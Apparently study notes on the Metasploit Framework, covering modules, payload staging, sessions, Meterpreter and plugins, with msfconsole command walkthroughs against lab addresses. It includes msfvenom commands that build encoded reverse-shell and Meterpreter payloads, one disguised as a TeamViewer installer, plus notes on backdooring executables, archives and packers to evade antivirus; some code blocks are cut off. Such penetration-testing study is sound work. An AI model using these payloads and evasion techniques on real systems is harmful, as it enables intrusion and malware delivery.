The Metasploit Framework is an open-source set of tools used for network enumeration, attacks, testing security vulnerabilities, evading detection, performing privilege escalation attacks, and performing post-exploitation.
Intro
By default, all base file files related to Metasploit can be found in
/usr/share/metasploit-framework1
2
3
4
5
6
7
8
9
10
11
12
13
14
15# modules are split into separate categories in this folder.
$ ls /usr/share/metasploit-framework/modules
auxiliary encoders evasion exploits nops payloads post
# plugins offer us more flexibility by providubg more functionality and automation
$ ls /usr/share/metasploit-framework/plugins/
aggregator.rb ips_filter.rb openvas.rb sounds.rb alias.rb komand.rb pcap_log.rb sqlmap.rb auto_add_route.rb lab.rb request.rb thread.rb beholder.rb libnotify.rb rssfeed.rb token_adduser.rb db_credcollect.rb msfd.rb sample.rb token_hunter.rb db_tracker.rb msgrpc.rb session_notifier.rb wiki.rb event_tester.rb nessus.rb session_tagger.rb wmap.rb ffautoregen.rb nexpose.rb socket_logger.rb
# meterpreter functionality and other useful scripts
$ ls /usr/share/metasploit-framework/scripts/
meterpreter ps resource shell
# cmdline utilities that can be called directly from the msfconsole menu
$ ls /usr/share/metasploit-framework/tools/
context docs hardware modules payloads dev exploit memdump password recon
MSF Components
Modules
modulesare prepared scripts with a specific purpose and corresponding functions that have already been developed and tested in the wild.The Metasploit modules are structures into folders that look like this:
<No.> <type>/<os>/<service>/<name>Module type consists of:
Auxiliary: Scanning, fuzzing, sniffing, and admin capabilities. Offer extra assistance and functionality.Encoders: Ensure that payloads are intact to their destination.Exploits: Defined as modules that exploit a vulnerability that will allow for the payload delivery.NOPs: (No Operation code) Keep the payload sizes consistent across exploit attempts.Payloads: Code runs remotely and calls back to the attacker machine to establish a connection (or shell).Plugins: Additional scripts can be integrated within an assessment withmsfconsoleand coexist.Post: Wide array of modules to gather information, pivot deeper, etc.
When selecting a module for payload delivery only the following modules can be used as
initiators:AuxiliaryExploitsPost
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34# search function
help search
# searching for EternalRomance
search eternalromance
search eternalromance type:exploit
# specific search
search type:exploit platform:windows cve:2021 rank:excellent microsoft
# select module
use 0
# see everything we're required to set
options
# module information
info
# target specification
set RHOSTS 10.10.10.40
# permament target specification
setg RHOSTS 10.10.10.40
# lhost specification
setg LHOST 10.10.14.15
# execute exploit
run
# get a shell
shell
Targets
Targetsare unique operating system identifiers taken from the versions of those specific operating systems which adapt the selected exploit module to run on that particular version of the operating system.show targetscommand can be used in an exploit module to view all available vulnerable targets- To identify a target correctly, we will need to:
- Obtain a copy of the target binaries
- Use msfpescan to locate a suitable return address
Payloads
A
Payloadin Metasploit refers to a module that aids the exploit module in (typically) returning a shell to the attackerThere are three different types of payload modules:
- Singles
- Stagers
- Stages
Whether or not a payload is staged is represented by
/in the payload name; for example,windows/shell_bind_tcpis a single payload with no stage, whereaswindows/shell/bind_tcpconsists of a stager (bind_tcp) and a stage (shell).A
Singlepayload contains the exploit and the entire shellcode for the selected task- they are more stable than their counterparts because they contain everything all-in-one.
- some exploits will not support the resulting size of these payloads as they can get quite large
Stagerpayloads work together withStagepayloads to perform a specific task- runs on the victim machine and initiates an outbound connection to the attacker’s listener, setting up the communication channel over which the subsequent stage payload is delivered
- are typically designed to be small and reliable
Stagesare payload components that are downloaded by stager’s modules- Stages provide advanced features with no size limits, such as Meterpreter, VNC Injection, and others
Payload types:
generic/custom: Generic listener, multi-usegeneric/shell_bind_tcp: Generic listener, multi-use, normal shell, TCP connection bindinggeneric/shell_reverse_tcp: Generic listener, multi-use, normal shell, reverse TCP connectionwindows/x64/exec: Executes an arbitrary command (Windows x64)windows/x64/loadlibrary: Loads an arbitrary x64 library pathwindows/x64/messagebox: Spawns a dialog via MessageBox using a customizable title, text & iconwindows/x64/shell_reverse_tcp: Normal shell, single payload, reverse TCP connectionwindows/x64/shell/reverse_tcp: Normal shell, stager + stage, reverse TCP connectionwindows/x64/shell/bind_ipv6_tcp: Normal shell, stager + stage, IPv6 Bind TCP stagerwindows/x64/meterpreter/$: Meterpreter payload + varieties abovewindows/x64/powershell/$: Interactive PowerShell sessions + varieties abovewindows/x64/vncinject/$: VNC Server (Reflective Injection) + varieties above
1
2
3
4
5
6
7
8
9
10
11
12
13# show payloads
show payloads
# filter search
grep meterpreter show payloads
grep meterpreter grep reverse_tcp show payloads
# select payload
set payload 15
# see payload options
show options
Encoders
- Encoders help with antivirus evasion
- can also help remove bad characters from the payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15# without encoding
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl
# with encoding
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl -e x86/shikata_ga_nai
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe
# using on an existing payload within msfconsole
set payload 15
show encoders
# virustotal - check AV evasion
msf-virustotal -k <API key> -f TeamViewerInstall.exe
Databases
- we can setup databases in
msfconsoleto keep track of results - it has built-in support for PostgreSQL
1 | |
Workspaces
- we can organize our
Workspaceswhich work the same way as folders in a project; We can segregate the different scan results, hosts, and extracted information by IP, subnet, network, or domain
1 | |
Plugins
- Plugins are readily available software that has been released by third parties that have been integrated to
msfconsole - default directory of plugins is
/usr/share/metasploit-framework/plugins1
2
3
4
5
6
7
8
9
10# load nessus
msf6 > load nessus
msf6 > nessus_help
# download msf plugins
git clone https://github.com/darkoperator/Metasploit-Plugins
sudo cp ./Metasploit-Plugins/pentest.rb /usr/share/metasploit-framework/plugins/pentest.rb
msfconsole -q
msf6 > load pentestnMap (pre-installed) NexPose (pre-installed) Nessus (pre-installed) Mimikatz (pre-installed V.1) Stdapi (pre-installed) Railgun Priv Incognito (pre-installed) Darkoperator’s
MSF Sessions
Sessions
Sessionscreate dedicated control interfaces for all of our deployed modules- to background a session, we can use
[CTRL] + [Z]key combination or by typing thebackgroundcommand in the case of Meterpreter stages1
2
3
4
5# list active sessions
sessions
# interact with a session
sessions -i 1
Jobs
We would need to use the
jobscommand to look at the currently active tasks running in the background and terminate the old ones to free up the port.Other types of tasks inside sessions can also be converted into jobs to run in the background seamlessly, even if the session dies or disappears.
1
2
3
4
5
6
7
8
9
10
11
12
13jobs -h
# run exploit as a background job
exploit -j
# list running jobs
jobs -l
# kill a running job
kill 1
# kill all jobs
jobs -K
Meterpreter
- Meterpreter is used to get direct shell on the target OS but with more functionality
- resides entirely in memory and writes nothing to the disk
- uses channelized communication system between the target host and the attacker; allows for AES-encrypted traffic
- can constantly be augmented at runtime and loaded over the network
1 | |
Additional Features
Importing Modules
- We can search for Metasploit custom exploits from ExploitDB or using
searchsploit - Custom modules, scripts and plugins can be stored in
/usr/share/metasploit-frameworkand this folder is also symlinked in our home and root folders in~/.msf4/
1 | |
MSFVenom
Evasion Techniques
- we can hide the payload shellcode deep within the legitimate code of the actual product
- We do so with the
-kflag, However, the target will only notice the running backdoor if they launch the backdoored executable template from a CLI environment
1 | |
Archives
- Archiving a piece of information such as a file, folder, script, executable, picture, or document and placing a password on the archive bypasses a lot of common anti-virus signatures
1 | |
Packers
- The term
Packerrefers to the result of anexecutable compressionprocess where the payload is packed together with an executable program and with the decompression code in one single file - Popular packer software:
- UPX packer
- The Enigma Protector
- MPRESS
- Alternate EXE Packer
- ExeStealth
- Morphine
- MEW
- Themida
- PolyPack project to learn about packers